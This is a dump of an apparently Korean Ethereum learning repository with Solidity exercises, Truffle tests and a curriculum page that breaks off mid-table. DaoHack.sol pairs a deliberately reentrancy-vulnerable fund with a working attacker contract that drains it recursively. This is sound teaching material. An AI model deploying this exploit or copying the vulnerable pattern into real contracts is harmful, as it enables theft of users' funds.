usa.hello = "Hi"; 18 | usa.goodbye = "Bye"; 19 | 20 | countryToGreeting["USA"] = usa; 21 | } 22 | 23 | function sayHello(string country) external view returns (string) { 24 | return countryToGreeting[country].hello; 25 | } 26 | 27 | function changeHello(string country,string hello) external { 28 | countryToGreeting[country].hello = hello; 29 | } 30 | 31 | function sayGoodbye(string country) external view returns (string) { 32 | return countryToGreeting[country].goodbye; 33 | } 34 | 35 | function changeGoodbye(string country,string goodbye) external { 36 | countryToGreeting[country].goodbye = goodbye; 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/helpers.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var should = require('chai') 4 | .use(require('chai-as-promised')) 5 | .should(); 6 | 7 | const TestHelperKlass = function () { 8 | } 9 | 10 | TestHelperKlass.prototype = { 11 | 12 | awaitEvent: async function awaitEvent(event, handler) { 13 | return new Promise((resolve, reject) => { 14 | function wrapHandler(...args) { 15 | Promise.resolve(handler(...args)).then(resolve).catch(reject); 16 | } 17 | 18 | event.watch(wrapHandler); 19 | }); 20 | }, 21 | 22 | countEvent: async function countEvents(events) { 23 | return new Promise((resolve, reject) => { 24 | events.get(function (error, logs) { 25 | if (error) 26 | reject(error); 27 | else 28 | resolve(logs.length); 29 | }) 30 | }); 31 | }, 32 | 33 | expectThrow: function expectThrow(transactionPromise) { 34 | transactionPromise.then(() => { 35 | should.fail(0, 1, 'This must not be run'); 36 | }) 37 | .catch((error) => { 38 | console.log('expectThrow = ',error.message); 39 | error.message.should.contain('revert'); 40 | }); 41 | } 42 | } 43 | 44 | module.exports = new TestHelperKlass(); -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/test/helpers.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var should = require('chai') 4 | .use(require('chai-as-promised')) 5 | .should(); 6 | 7 | const TestHelperKlass = function () { 8 | } 9 | 10 | TestHelperKlass.prototype = { 11 | 12 | awaitEvent: async function awaitEvent(event, handler) { 13 | return new Promise((resolve, reject) => { 14 | function wrapHandler(...args) { 15 | Promise.resolve(handler(...args)).then(resolve).catch(reject); 16 | } 17 | 18 | event.watch(wrapHandler); 19 | }); 20 | }, 21 | 22 | countEvent: async function countEvents(events) { 23 | return new Promise((resolve, reject) => { 24 | events.get(function (error, logs) { 25 | if (error) 26 | reject(error); 27 | else 28 | resolve(logs.length); 29 | }) 30 | }); 31 | }, 32 | 33 | expectThrow: function expectThrow(transactionPromise) { 34 | transactionPromise.then(() => { 35 | should.fail(0, 1, 'This must not be run'); 36 | }) 37 | .catch((error) => { 38 | console.log('expectThrow = ',error.message); 39 | error.message.should.contain('revert'); 40 | }); 41 | } 42 | } 43 | 44 | module.exports = new TestHelperKlass(); -------------------------------------------------------------------------------- /ERC223.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | library SafeMath { 4 | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { 5 | if (a == 0) { 6 | return 0; 7 | } 8 | c = a * b; 9 | assert(c / a == b); 10 | return c; 11 | } 12 | 13 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 14 | return a / b; 15 | } 16 | 17 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 18 | assert(b <= a); 19 | return a - b; 20 | } 21 | 22 | function add(uint256 a, uint256 b) internal pure returns (uint256 c) { 23 | c = a + b; 24 | assert(c >= a); 25 | return c; 26 | } 27 | } 28 | 29 | interface ERC223Receiver { 30 | function tokenFallback(address, uint, bytes) external; 31 | } 32 | 33 | contract ERC223 { 34 | using SafeMath for uint; 35 | 36 | string public name; 37 | string public symbol; 38 | uint8 public decimals; 39 | 40 | mapping (address => uint256) public balanceOf; 41 | 42 | event Transfer(address _from, address _to, uint _value); 43 | 44 | function ERC223(string tokenName,string tokenSymbol,uint8 decimalUnits,uint256 initialSupply) public { 45 | name = tokenName; 46 | symbol = tokenSymbol; 47 | decimals = decimalUnits; 48 | balanceOf[msg.sender] = initialSupply; 49 | } 50 | 51 | function transfer(address _to, uint256 _value,bytes _data) public { 52 | uint codeLength; 53 | assembly { codeLength := extcodesize(_to) } 54 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); 55 | balanceOf[_to] = balanceOf[_to].add(_value); 56 | if(codeLength>0) { 57 | // Require proper transaction handling. 58 | ERC223Receiver receiver = ERC223Receiver(_to); 59 | receiver.tokenFallback(msg.sender, _value, _data); 60 | } 61 | } 62 | } 63 | 64 | -------------------------------------------------------------------------------- /DaoHack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract DaoFund{ 4 | 5 | mapping(address=>uint) balanceOf; 6 | 7 | event WithdrawBalance(string message,uint gas); 8 | 9 | function getUserBalance(address user) external view returns(uint) { 10 | return balanceOf[user]; 11 | } 12 | 13 | function addToBalance() external payable { 14 | balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value; 15 | } 16 | 17 | function withdrawBalance() external { 18 | uint amountToWithdraw = balanceOf[msg.sender]; 19 | WithdrawBalance("withdrawBalance",msg.gas); 20 | if (msg.sender.call.value(amountToWithdraw)() == false) { 21 | revert(); 22 | } 23 | balanceOf[msg.sender] = 0; 24 | } 25 | } 26 | 27 | contract DaoFundAttacker{ 28 | address fundAddress; 29 | int goalAmount; 30 | 31 | event WithdrawBalance(string message,uint gas); 32 | 33 | function DaoFundAttacker(address _fundAddress) public { 34 | fundAddress=_fundAddress; 35 | } 36 | 37 | function() public payable { 38 | 39 | goalAmount -= int(msg.value); 40 | 41 | if( goalAmount > 0 ) 42 | { 43 | if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) { 44 | WithdrawBalance("Succeeded in fallback",msg.gas); 45 | } 46 | else WithdrawBalance("Failed in fallback",msg.gas); 47 | } 48 | else { 49 | WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas); 50 | } 51 | } 52 | 53 | function deposit() public payable { 54 | if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) { 55 | revert(); 56 | } 57 | } 58 | 59 | function withdraw(uint _goalAmount) public { 60 | goalAmount = int(_goalAmount * 1 ether); 61 | 62 | if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) { 63 | WithdrawBalance("Failed in withdraw",msg.gas); 64 | revert(); 65 | } 66 | else WithdrawBalance("Succeeded in withdraw",msg.gas); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /GreeterV8.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract GreeterV8 { 4 | struct Greeting { 5 | string hello; 6 | string goodbye; 7 | } 8 | 9 | mapping (uint => Greeting) countryToGreeting; 10 | mapping (uint => string) countryToHello; 11 | mapping (uint => string) countryToGoodbye; 12 | mapping (string => uint) countryToEnum; 13 | 14 | enum Country { Global, Korea, Usa } 15 | 16 | address owner; 17 | 18 | function GreeterV3() public { 19 | owner = msg.sender; 20 | 21 | countryToHello[0] = "Hello"; 22 | countryToGreeting[uint(Country.Global)] = Greeting("Hello","Goodbye"); 23 | Greeting memory korean = Greeting({goodbye:"안녕!",hello:"안녕?"}); 24 | countryToGreeting[uint(Country.Korea)] = korean; 25 | 26 | Greeting memory usa; 27 | usa.hello = "Hi"; 28 | usa.goodbye = "Bye"; 29 | 30 | countryToGreeting[uint(Country.Usa)] = usa; 31 | 32 | countryToEnum[""] = uint(Country.Global); 33 | countryToEnum["Korea"] = uint(Country.Korea); 34 | countryToEnum["Usa"] = uint(Country.Usa); 35 | } 36 | 37 | function sayHello1(uint country) external view returns (string) { 38 | return countryToHello[0]; 39 | } 40 | 41 | function sayHello(uint country) external view returns (string) { 42 | return countryToGreeting[country].hello; 43 | } 44 | 45 | function sayHello(string country) external view returns (string) { 46 | return countryToGreeting[countryToEnum[country]].hello; 47 | } 48 | 49 | function changeHello(string country,string hello) external { 50 | countryToGreeting[countryToEnum[country]].hello = hello; 51 | } 52 | 53 | function sayGoodbye(string country) external view returns (string) { 54 | return countryToGreeting[countryToEnum[country]].goodbye; 55 | } 56 | 57 | function changeGoodbye(string country,string goodbye) external { 58 | countryToGreeting[countryToEnum[country]].goodbye = goodbye; 59 | } 60 | 61 | function kill() external { 62 | if ( msg.sender == owner ) 63 | selfdestruct(owner); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /SignVerifier.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | contract SignVerifier { 4 | event Message(bytes32 r,bytes32 s,uint8 v, address signer); 5 | 6 | function testRecovery(bytes32 h, uint8 v, bytes32 r, bytes32 s) public pure returns (address) { 7 | if ( v < 27 ) v += 27; 8 | bytes memory prefix = "\x19Ethereum Signed Message:\n32"; 9 | bytes32 prefixedHash = keccak256(prefix, h); 10 | address addr = ecrecover(prefixedHash, v, r, s); 11 | 12 | return addr; 13 | } 14 | 15 | function recoverAddr(bytes32 msgHash,bytes sig) public returns (address) { 16 | uint8 v; bytes32 r; bytes32 s; 17 | 18 | assembly { 19 | r := mload(add(sig, 32)) 20 | s := mload(add(sig, 64)) 21 | v := byte(0, mload(add(sig, 96))) 22 | } 23 | 24 | address signer = testRecovery(msgHash,v,r,s); 25 | emit Message(r,s,v, signer); 26 | 27 | return signer; 28 | } 29 | } 30 | 31 | /** 32 | ar Example = artifacts.require('./Example.sol') 33 | 34 | var Web3 = require('web3') 35 | var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545")); 36 | 37 | contract('Example', (accounts) => { 38 | var address = accounts[0] 39 | 40 | it('ecrecover result matches address', async function() { 41 | var instance = await Example.deployed() 42 | var msg = '0x8CbaC5e4d803bE2A3A5cd3DbE7174504c6DD0c1C' 43 | 44 | console.log(web3.version); 45 | 46 | var h = web3.utils.sha3(msg) // var h = web3.sha3(msg) 47 | var sig = await web3.eth.sign(h,address); // var sig = await web3.eth.sign(address,h); 48 | var sig = sig.slice(2) 49 | var r = `0x${sig.slice(0, 64)}` 50 | var s = `0x${sig.slice(64, 128)}` 51 | var v = web3.utils.toDecimal(sig.slice(128, 130)); // var v = web3.toDecimal(sig.slice(128, 130)); 52 | 53 | var result = await instance.testRecovery.call(h, v, r, s) 54 | assert.equal(result, address) 55 | }) 56 | 57 | it('recoverAddr result matches address', async function() { 58 | var instance = await Example.deployed() 59 | var msg = '0x8CbaC5e4d803bE2A3A5cd3DbE7174504c6DD0c1C' 60 | 61 | console.log(web3.version); 62 | 63 | var h = web3.utils.sha3(msg) // var h = web3.sha3(msg) 64 | var sig = await web3.eth.sign(h,address); // var sig = await web3.eth.sign(address,h); 65 | 66 | var result = await instance.recoverAddr(h, sig,{from:address}); 67 | console.log(result.tx, result.receipt); 68 | assert.equal(result, address) 69 | }) 70 | }) 71 | */ 72 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hello", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "assertion-error": { 8 | "version": "1.1.0", 9 | "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", 10 | "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", 11 | "dev": true 12 | }, 13 | "chai": { 14 | "version": "4.1.2", 15 | "resolved": "https://registry.npmjs.org/chai/-/chai-4.1.2.tgz", 16 | "integrity": "sha1-D2RYS6ZC8PKs4oBiefTwbKI61zw=", 17 | "dev": true, 18 | "requires": { 19 | "assertion-error": "1.1.0", 20 | "check-error": "1.0.2", 21 | "deep-eql": "3.0.1", 22 | "get-func-name": "2.0.0", 23 | "pathval": "1.1.0", 24 | "type-detect": "4.0.8" 25 | } 26 | }, 27 | "chai-bignumber": { 28 | "version": "2.0.2", 29 | "resolved": "https://registry.npmjs.org/chai-bignumber/-/chai-bignumber-2.0.2.tgz", 30 | "integrity": "sha512-BIdRNjRaoRj4bMsZLKbIZPMNKqmwnzNiyxqBYDSs6dFOCs9w8OHPuUE8e1bH60i1IhOzT0NjLtCD+lKEWB1KTQ==" 31 | }, 32 | "check-error": { 33 | "version": "1.0.2", 34 | "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz", 35 | "integrity": "sha1-V00xLt2Iu13YkS6Sht1sCu1KrII=", 36 | "dev": true 37 | }, 38 | "deep-eql": { 39 | "version": "3.0.1", 40 | "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", 41 | "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", 42 | "dev": true, 43 | "requires": { 44 | "type-detect": "4.0.8" 45 | } 46 | }, 47 | "get-func-name": { 48 | "version": "2.0.0", 49 | "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", 50 | "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=", 51 | "dev": true 52 | }, 53 | "pathval": { 54 | "version": "1.1.0", 55 | "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.0.tgz", 56 | "integrity": "sha1-uULm1L3mUwBe9rcTYd74cn0GReA=", 57 | "dev": true 58 | }, 59 | "type-detect": { 60 | "version": "4.0.8", 61 | "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", 62 | "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", 63 | "dev": true 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /CrowdFund.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.16; 2 | 3 | interface token { 4 | function transfer(address receiver, uint amount) public; 5 | } 6 | 7 | contract CrowdFund { 8 | address public beneficiary; 9 | uint public fundingGoal; 10 | uint public amountRaised; 11 | uint public deadline; 12 | uint public price; 13 | token public tokenReward; 14 | mapping(address => uint256) public balanceOf; 15 | bool public fundingGoalReached = false; 16 | bool public crowdsaleClosed = false; 17 | 18 | event GoalReached(address beneficiaryAddress, uint amountRaisedValue); 19 | event FundTransfer(address backer, uint amount, bool isContribution); 20 | 21 | function CrowdFund( 22 | address ifSuccessfulSendTo, 23 | uint fundingGoalInEthers, 24 | uint durationInMinutes, 25 | uint etherCostOfEachToken, 26 | address addressOfTokenUsedAsReward 27 | ) public { 28 | beneficiary = ifSuccessfulSendTo; 29 | fundingGoal = fundingGoalInEthers * 1 ether; 30 | deadline = now + durationInMinutes * 1 minutes; 31 | price = etherCostOfEachToken * 1 ether; 32 | tokenReward = token(addressOfTokenUsedAsReward); 33 | } 34 | 35 | 36 | 37 | function () payable external { 38 | require(!crowdsaleClosed); 39 | uint amount = msg.value; 40 | balanceOf[msg.sender] += amount; 41 | amountRaised += amount; 42 | tokenReward.transfer(msg.sender, amount / price); 43 | FundTransfer(msg.sender, amount, true); 44 | } 45 | 46 | modifier afterDeadline() { if (now >= deadline) _; } 47 | 48 | function checkGoalReached() external afterDeadline { 49 | if (amountRaised >= fundingGoal){ 50 | fundingGoalReached = true; 51 | GoalReached(beneficiary, amountRaised); 52 | } 53 | crowdsaleClosed = true; 54 | } 55 | 56 | function safeWithdrawal() external afterDeadline { 57 | if (!fundingGoalReached) { 58 | uint amount = balanceOf[msg.sender]; 59 | balanceOf[msg.sender] = 0; 60 | if (amount > 0) { 61 | if (msg.sender.send(amount)) { 62 | FundTransfer(msg.sender, amount, false); 63 | } else { 64 | balanceOf[msg.sender] = amount; 65 | } 66 | } 67 | } 68 | if (fundingGoalReached && beneficiary == msg.sender) { 69 | if (beneficiary.send(amountRaised)) { 70 | FundTransfer(beneficiary, amountRaised, false); 71 | } else { 72 | fundingGoalReached = false; 73 | } 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | library SafeMath { 4 | function add(uint a, uint b) internal pure returns (uint c) { 5 | c = a + b; 6 | require(c >= a); 7 | } 8 | function sub(uint a, uint b) internal pure returns (uint c) { 9 | require(b <= a); 10 | c = a - b; 11 | } 12 | function mul(uint a, uint b) internal pure returns (uint c) { 13 | c = a * b; 14 | require(a == 0 || c / a == b); 15 | } 16 | function div(uint a, uint b) internal pure returns (uint c) { 17 | require(b > 0); 18 | c = a / b; 19 | } 20 | } 21 | 22 | contract ERC20 { 23 | using SafeMath for uint; 24 | 25 | // Balances for each account 26 | mapping(address => uint256) balances; 27 | 28 | // Owner of account approves the transfer of an amount to another account 29 | mapping(address => mapping (address => uint256)) allowed; 30 | 31 | event Transfer(address from,address to,uint value); 32 | event Approval(address from,address to,uint value); 33 | 34 | // Get the token balance for account `tokenOwner` 35 | function balanceOf(address tokenOwner) public constant returns (uint balance) { 36 | return balances[tokenOwner]; 37 | } 38 | 39 | // Transfer the balance from owner's account to another account 40 | function transfer(address to, uint tokens) public returns (bool success) { 41 | balances[msg.sender] = balances[msg.sender].sub(tokens); 42 | balances[to] = balances[to].add(tokens); 43 | emit Transfer(msg.sender, to, tokens); 44 | return true; 45 | } 46 | 47 | // Send `tokens` amount of tokens from address `from` to address `to` 48 | // The transferFrom method is used for a withdraw workflow, allowing contracts to send 49 | // tokens on your behalf, for example to "deposit" to a contract address and/or to charge 50 | // fees in sub-currencies; the command should fail unless the _from account has 51 | // deliberately authorized the sender of the message via some mechanism; we propose 52 | // these standardized APIs for approval: 53 | function transferFrom(address from, address to, uint tokens) public returns (bool success) { 54 | balances[from] = balances[from].sub(tokens); 55 | allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); 56 | balances[to] = balances[to].add(tokens); 57 | emit Transfer(from, to, tokens); 58 | return true; 59 | } 60 | 61 | // Allow `spender` to withdraw from your account, multiple times, up to the `tokens` amount. 62 | // If this function is called again it overwrites the current allowance with _value. 63 | function approve(address spender, uint tokens) public returns (bool success) { 64 | allowed[msg.sender][spender] = tokens; 65 | emit Approval(msg.sender, spender, tokens); 66 | return true; 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/ERC20Test.js: -------------------------------------------------------------------------------- 1 | var ERC20 = artifacts.require("./ERC20.sol"); 2 | 3 | var BigNumber = web3.BigNumber; 4 | 5 | var assert = require('assert'); 6 | var should = require('chai') 7 | .use(require('chai-as-promised')) 8 | .use(require('chai-bignumber')(BigNumber)) 9 | .should(); 10 | 11 | const TestHelper = require('./helpers'); 12 | 13 | contract("ERC20", (accounts) => { 14 | describe("transfer", async function() { 15 | let creator; 16 | let erc20; 17 | let initialSupply = 1000; 18 | 19 | beforeEach(async function() { 20 | creator = accounts[2]; 21 | 22 | erc20 = await ERC20.new('ERC20', 'ERC20', initialSupply, 1000, {from: creator}); 23 | }); 24 | 25 | it("should be reverted when transfer more than balance", async function() { 26 | const recipient = accounts[1]; 27 | const moreThanBalance = initialSupply + 1; 28 | 29 | let transactionPromise = erc20.transfer(recipient, moreThanBalance, {from: creator}); 30 | await TestHelper.expectThrow(transactionPromise); 31 | }) 32 | 33 | 34 | it("should transfer to recipient by the specified amount", async function() { 35 | const recipient = accounts[1]; 36 | const oneHundredTokens = 100; 37 | 38 | await erc20.transfer(recipient, oneHundredTokens, {from: creator}); 39 | 40 | const recipientBalance = await erc20.balanceOf(recipient); 41 | 42 | recipientBalance.should.be.bignumber.equal(oneHundredTokens); 43 | }) 44 | }); 45 | 46 | describe("constructor", async function() { 47 | let erc20; 48 | let creator; 49 | 50 | beforeEach(async function() { 51 | creator = accounts[1]; 52 | erc20 = await ERC20.new('ERC20','ERC20',1000,1000, {from: creator} ); 53 | }); 54 | 55 | it("Creator should have the initialSupply", async function() { 56 | const balance = await erc20.balanceOf(creator); 57 | 58 | balance.should.be.bignumber.equal(1000); 59 | }); 60 | 61 | it("should have the specified name", async function() { 62 | const name = await erc20.name(); 63 | name.should.be.equal('ERC20'); 64 | }); 65 | 66 | it("should have the specified symbol", async function() { 67 | const symbol = await erc20.symbol(); 68 | symbol.should.be.equal('ERC20'); 69 | }); 70 | 71 | it("should have the specified initialSupply", async function() { 72 | const initialSupply = await erc20.initialSupply(); 73 | 74 | initialSupply.should.be.bignumber.equal(1000); 75 | }); 76 | 77 | it("should have the specified maximumSupply", async function() { 78 | const maximumSupply = await erc20.maximumSupply(); 79 | 80 | maximumSupply.should.be.bignumber.equal(1000); 81 | }); 82 | }); 83 | }); 84 | -------------------------------------------------------------------------------- /etherstudy/day1/smartcontract/hello/test/ERC20Test.js: -------------------------------------------------------------------------------- 1 | var ERC20 = artifacts.require("./ERC20.sol"); 2 | 3 | var BigNumber = web3.BigNumber; 4 | 5 | var assert = require('assert'); 6 | var should = require('chai') 7 | .use(require('chai-as-promised')) 8 | .use(require('chai-bignumber')(BigNumber)) 9 | .should(); 10 | 11 | const TestHelper = require('./helpers'); 12 | 13 | contract("ERC20", (accounts) => { 14 | describe("transfer", async function() { 15 | let creator; 16 | let erc20; 17 | let initialSupply = 1000; 18 | 19 | beforeEach(async function() { 20 | creator = accounts[2]; 21 | 22 | erc20 = await ERC20.new('ERC20', 'ERC20', initialSupply, 1000, {from: creator}); 23 | }); 24 | 25 | it("should be reverted when transfer more than balance", async function() { 26 | const recipient = accounts[1]; 27 | const moreThanBalance = initialSupply + 1; 28 | 29 | let transactionPromise = erc20.transfer(recipient, moreThanBalance, {from: creator}); 30 | await TestHelper.expectThrow(transactionPromise); 31 | }) 32 | 33 | 34 | it("should transfer to recipient by the specified amount", async function() { 35 | const recipient = accounts[1]; 36 | const oneHundredTokens = 100; 37 | 38 | await erc20.transfer(recipient, oneHundredTokens, {from: creator}); 39 | 40 | const recipientBalance = await erc20.balanceOf(recipient); 41 | 42 | recipientBalance.should.be.bignumber.equal(oneHundredTokens); 43 | }) 44 | }); 45 | 46 | describe("constructor", async function() { 47 | let erc20; 48 | let creator; 49 | 50 | beforeEach(async function() { 51 | creator = accounts[1]; 52 | erc20 = await ERC20.new('ERC20','ERC20',1000,1000, {from: creator} ); 53 | }); 54 | 55 | it("Creator should have the initialSupply", async function() { 56 | const balance = await erc20.balanceOf(creator); 57 | 58 | balance.should.be.bignumber.equal(1000); 59 | }); 60 | 61 | it("should have the specified name", async function() { 62 | const name = await erc20.name(); 63 | name.should.be.equal('ERC20'); 64 | }); 65 | 66 | it("should have the specified symbol", async function() { 67 | const symbol = await erc20.symbol(); 68 | symbol.should.be.equal('ERC20'); 69 | }); 70 | 71 | it("should have the specified initialSupply", async function() { 72 | const initialSupply = await erc20.initialSupply(); 73 | 74 | initialSupply.should.be.bignumber.equal(1000); 75 | }); 76 | 77 | it("should have the specified maximumSupply", async function() { 78 | const maximumSupply = await erc20.maximumSupply(); 79 | 80 | maximumSupply.should.be.bignumber.equal(1000); 81 | }); 82 | }); 83 | }); 84 | -------------------------------------------------------------------------------- /DataLocation.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract DataLocation { 4 | uint[] a; 5 | uint[] b; 6 | 7 | function DataLocation() public { 8 | a.push(1); 9 | b.push(2); 10 | } 11 | 12 | function getA(uint index) external view returns (uint) { 13 | return a[index]; 14 | } 15 | 16 | function getB(uint index) external view returns (uint) { 17 | return b[index]; 18 | } 19 | 20 | // 참조 : storage variable => local storage variable 21 | function storage2localStorageVariable() public returns (string) { 22 | uint[] storage c = a; 23 | c[0] = 10; 24 | if ( a[0] == c[0] ) 25 | return "Reference"; 26 | return "Copy"; 27 | } 28 | 29 | function storage2localMemoryVariable() public view returns (string) { 30 | uint[] memory c = a; 31 | c[0] = 11; 32 | if ( a[0] == c[0] ) 33 | return "Reference"; 34 | return "Copy"; 35 | } 36 | 37 | // 복사: storage variable => storage variable 38 | function storage2storage() public { 39 | b = a; 40 | } 41 | 42 | // copy : local memory variable => local memory variable 43 | function localMemory2LocalMemory() public view returns (string) { 44 | uint[] memory y = a; 45 | uint[] memory z = y; 46 | z[0] = 12; 47 | 48 | if ( y[0] == z[0] ) 49 | return "Reference"; 50 | return "Copy"; 51 | } 52 | 53 | // Error: local memory variable => local storage variable 54 | function localMemory2LocalStorage() public view returns (string) { 55 | uint[] memory z = a; 56 | // uint[] storage d = z; 57 | z[0] = 0; 58 | } 59 | 60 | // local memory variable => storage variable 61 | function localMemory2stateVariable() public returns (string) { 62 | uint[] memory z = a; 63 | z[0] = 13; 64 | b = z; 65 | 66 | if ( z[0] == b[0] ) 67 | return "Copy"; 68 | return "Reference"; 69 | } 70 | 71 | // local storage variable => local storage variable 72 | function localStorage2localStorage() public returns (string){ 73 | uint[] storage c = a; 74 | uint[] storage d = c; 75 | d[0] = 14; 76 | 77 | if ( c[0] == d[0] ) 78 | return "Reference"; 79 | return "Copy"; 80 | } 81 | 82 | // copy : local storage variable => local memory variable 83 | function localStorage2localMemory() public view returns (string){ 84 | uint[] storage d = a; 85 | uint[] memory x = d; 86 | x[0] = 15; 87 | 88 | if ( x[0] == d[0] ) 89 | return "Reference"; 90 | return "Copy"; 91 | } 92 | 93 | // copy : local storage variable => local memory variable 94 | function localStorage2state() public returns (string){ 95 | uint[] storage d = a; 96 | d[0] = 16; 97 | b = d; 98 | 99 | return "Copy"; 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Greeter

5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 20 | 29 | 30 | 31 | 32 | 41 | 49 | 50 | 51 | 52 | 64 | 69 | 70 | 71 | 72 | 81 | 86 | 87 | 88 | 89 | 96 | 101 | 102 | 103 | 104 | 114 | 121 | 122 | 123 | 124 | 129 | 135 | 136 | 137 | 138 | 148 | 154 | 155 | 156 |
요구사항Learning object스마트 컨트랙
13 |
 14 | “Hello” 라는 문자열을 반환하는 sayHello 를 가진 컨트랙을 만든다.
 15 | 
 16 | Contract 이름 : Greeting
 17 | 함수 이름 : function sayHello() returns (string)
 18 | 					
19 |
21 |
 22 | pragma,
 23 | contract,
 24 | function
 25 | - visibility : public
 26 | - mutuality : pure
 27 | 					
28 |
Greeter V1
33 |
 34 | sayHello 에서 출력할 문자열을 변경하는 함수 changeHello 를 추가한다.
 35 | sayHello 는 changeHello 의 패러미터 값을 출력해야 한다.
 36 | 
 37 | Contract 이름 : Greeting
 38 | 추가할 함수 : function changeHello(string message) 
 39 | 					
40 |
42 |
 43 | state variable
 44 | function visibility
 45 | - view
 46 | - (non-payable)
 47 | 					
48 |
Greeter V2
53 |
 54 | sayHello 에서 국가를 패러미터로 입력 받아서 Korea 인 경우 “안녕" 을 출력한다.
 55 | 
 56 | Contract 이름 : GlobalGreeting
 57 | 변경할 함수 : funtion sayHello(string country) returns (string)
 58 | 
 59 | Contract 추가항목
 60 | 상태 변수(state variable) : mapping (string => string) countryToHello;
 61 | 생성자 
 62 | 					
63 |
65 |
 66 | mapping
 67 | 					
68 |
Greeter V3
73 |
 74 | 여러 나라의 인사 메시지를 추가/삭제할 수 있는 함수들을 추가한다.
 75 | 
 76 | 추가할 함수
 77 | function changeHello(string country,string message) external 
 78 | function deleteHello(string country) external
 79 | 					
80 |
82 |
 83 | delete
 84 | 					
85 |
Greeter V4
90 |
 91 | GlobalGreeting 에 헤어질 때 사용할 수 있는 인사를 추가한다.
 92 | 
 93 | 함수 : sayGoodbye(string country) external returns (string)
 94 | 					
95 |
97 |
 98 | 이전 학습 내용 반복
 99 | 					
100 |
Greeter V5
105 |
106 | struct Greeting {
107 | 	string hello;
108 | 	string goodbye;
109 | }
110 | 
111 | 이 구조체를 이용하도록 sayHello, sayGoodbye, changeHello, changeGoodbye 함수를 수정한다.
112 | 					
113 |
115 |
116 | struct
117 | - struct 객체 생성
118 | - data location
119 | 					
120 |
Greeter V6
125 |
126 | 컨트랙트 제거하기
127 | 					
128 |
130 |
131 | self-destruct
132 | msg.sender
133 | 					
134 |
Greeter V7
139 |
140 | 인사말을 제공해야 하는 국가가 몇 개로 한정 되어 있다고 하고 변경될 가능성이 적다고 해 보자.
141 | 이런 경우에는 국가를 문자열이 아니라 enum 으로 모델링하는 것이 좋다.
142 | 
143 | enum Country { Global, Korea, Usa }
144 | 
145 | Mapping 의 키를 enum 으로 바꿔보자.
146 | 					
147 |
149 |
150 | enum
151 | enum - uint 변환
152 | 					
153 |
Greeter V8
157 | 158 |

Token

159 | 160 | 161 | 168 | 173 | 174 | 175 | 176 | 183 | 189 | 190 | 191 | 192 | 197 | 202 | 203 | 204 | 205 | 209 | 216 | 221 | 228 | 229 | 230 | 236 | 241 | 242 | 243 | 244 | 250 | 255 | 256 | 257 |
162 |
163 | 서로 주고 받을 수 있는 토큰 컨트랙을 만들어 보자.
164 | - 계정 별로 토큰 잔고를 관리할 수 있어야 한다.
165 | - 계정 간에 토큰을 주고 받을 수 이어야 한다.
166 | 					
167 |
169 |
170 | transfer 함수 구현
171 | 					
172 |
MinimumViableToken
177 |
178 | 토큰 생성과 동시에 Mist 화면에 표시되는 토큰을 만들어 보자.
179 | 
180 | 컨트랙에 Transfer Event 추가
181 | 					
182 |
184 |
185 | event 정의
186 | event 사용
187 | 					
188 |
WalletVisibleToken
193 |
194 | 토큰 컨트랙을 생성한 후에 수동으로 토큰 정보를 수정하는 수고를 덜어보자.
195 | 					
196 |
198 |
199 | name, symbol decimals 정의 
200 | 					
201 |
UnsecureGeneralWalletCompatibleToken
206 |
207 | 토큰을 전송하는 함수(transfer)에서 조건을 검사해서
208 | 			
